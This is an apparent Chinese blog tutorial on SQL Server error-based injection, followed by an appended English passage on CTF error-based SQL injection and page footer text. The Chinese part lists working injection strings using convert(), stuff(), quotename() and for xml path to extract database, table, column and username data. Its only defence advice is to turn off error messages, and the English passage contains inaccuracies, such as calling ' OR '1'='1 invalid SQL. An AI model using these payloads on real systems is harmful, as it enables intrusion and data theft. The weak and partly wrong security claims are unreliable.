SQL Server 报错注入(一)

一、原理介绍

报错注入,顾名思义首先这里是有报错信息才可以,其次我们需要人为的制造一些错误,比如使用convert()函数进行类型转换时,如果类型转换失败就会报错,然后这里把我们要执行的SQL语句与convert()函数组合起来,例如convert(int,@@version),在报错信息中就有我们需要的信息。

二、函数介绍

convert()函数介绍:
定义: convert() 函数是把日期转换为新数据类型的通用函数。
用法: convert(int,db_name()),含义是将第二个参数的值转换成第一个参数的int类型。利用MSSQL在转换类型的时候就出错,来爆数据库信息。

quotename()函数介绍:
定义: quotename() 函数默认在要处理的参数左右加上两个中括号,起到分隔符的作用,避免出现sql关键字异常。
用法: quotename(name),给查询出的多个表名、列名加入中括号,或者其他符号为分隔符,进行分割,可使SQL注入结果更清晰。

for xml path(’’)语句介绍:
定义: 提供查询返回的结果为xml格式,此时返回的相当于一个字符串。
用法: 将查询到的数据,通过xml进行显示,path指定xml元素结点(行节点),该语句可以将查询到的所有数据通过XML进行显示。
在这里插入图片描述
stuff()函数介绍:
定义: stuff()函数将表中列的内容横向输出。
用法: stuff(param1, startIndex, length, param2),将param1中自startIndex(SQL中都是从1开始,而非0)起,删除length个字符,然后用param2替换删掉的字符。

三、常用数据表介绍

​ 在master数据库中包含了很多系统表,其中sys.databases这张表中储存了SQLServer中所有的数据库的库名;sys.objects表中储存了SQLServer中所有的数据库的表名;sys.columns表中储存了SQLServer中所有的数据表的列名。
在这里插入图片描述

四、注入方式

1.爆数据库

id=1' and 1=convert(int,(select db_name(0)))--+
id=1' and 1=convert(int,(select db_name(1)))--+   //查询第二个数据库,以此类推

在这里插入图片描述
将所有的数据库连接起来进行显示。

id=1' and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--+

在这里插入图片描述
2.爆数据表

id=1' and 1=convert(int,(select top 1 name from test.sys.objects where type='U'))--+
id=1' and 1=convert(int,stuff((select  quotename(name) from test.sys.objects where type='U' for xml path('')),1,0,''))--+

在这里插入图片描述
将所有表连接起来进行显示。
在这里插入图片描述
3.爆字段(此处方法同上)

id=1' and 1=convert(int,(select top 1 name from test.sys.columns where object_id=object_id('users')))--+
id=1' and 1=convert(int,stuff((select quotename(name) from test.sys.columns where object_id=object_id('users') for xml path('')),1,0,''))--+

在这里插入图片描述
在这里插入图片描述
4.爆数据

id=1' and 1=convert(int,(select top 1 username from users))--+
id=1' and 1=convert(int,stuff((select quotename(username) from users for xml path('')),1,0,''))--+

在这里插入图片描述
在这里插入图片描述

五、防御方式

关闭错误提示即可

### CTF SQL Error Based Injection Challenges and Solutions In the realm of Capture The Flag (CTF) competitions, SQL error-based injection stands as a critical skill for participants to master. This technique leverages database errors returned by an application when malformed or unexpected input is provided during query execution[^1]. #### Understanding SQL Error-Based Injection Error-based SQL injection occurs due to improper handling of user-supplied data within SQL queries. When attackers provide inputs that cause syntax errors in these statements, detailed error messages can reveal information about the structure of the underlying tables and columns used by applications. For instance, consider an insecure login form where usernames are directly inserted into SQL commands without proper sanitization: ```sql SELECT * FROM users WHERE username='admin' AND password='password'; ``` By injecting specific payloads like `' OR '1'='1`—which results in invalid SQL code—the server might respond with informative but unintended details regarding its internal workings[^2]. #### Practical Example: Exploiting Vulnerabilities Through Errors Suppose there exists a web page vulnerable to this type of attack at `http://example.com/login`. An attacker could attempt various forms of malicious entries until they receive useful feedback from MySQL's error reporting system. For example: - Entering `%27 UNION SELECT NULL,NULL-- %00` may lead to responses indicating how many fields exist per row. - Using constructs such as `%27 ORDER BY 3--+`, one can deduce column counts through trial-and-error while observing changes in output patterns caused by sorting operations gone wrong. These insights allow hackers not only to confirm whether their target indeed suffers from poor coding practices but also potentially extract sensitive records stored inside databases linked against affected sites. #### Mitigation Strategies Against Such Attacks Developers should always validate all external inputs rigorously before incorporating them into dynamic queries. Prepared statements offer significant protection since parameters passed via placeholders cannot alter statement logic regardless of content supplied by end-users. Additionally, employing least privilege principles ensures even compromised accounts have minimal access rights over valuable assets residing on backend servers[^3]. ```python import mysql.connector connection = mysql.connector.connect( host="localhost", user="db_user", passwd="secure_password", database="test_db" ) cursor = connection.cursor(prepared=True) query = "INSERT INTO table_name VALUES (%s)" data_tuple = ('safe_value',) cursor.execute(query, data_tuple) connection.commit() ``` --related questions-- 1. What measures can developers take beyond prepared statements? 2. How do different relational management systems handle SQL injections differently? 3. Are certain programming languages more prone than others towards producing vulnerabilities related to SQL injection attacks? 4. In what ways has modern software development mitigated risks associated with traditional types of security flaws including those seen here today concerning SQLi techniques specifically targeting error disclosure mechanisms found across numerous platforms worldwide throughout history up till now?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值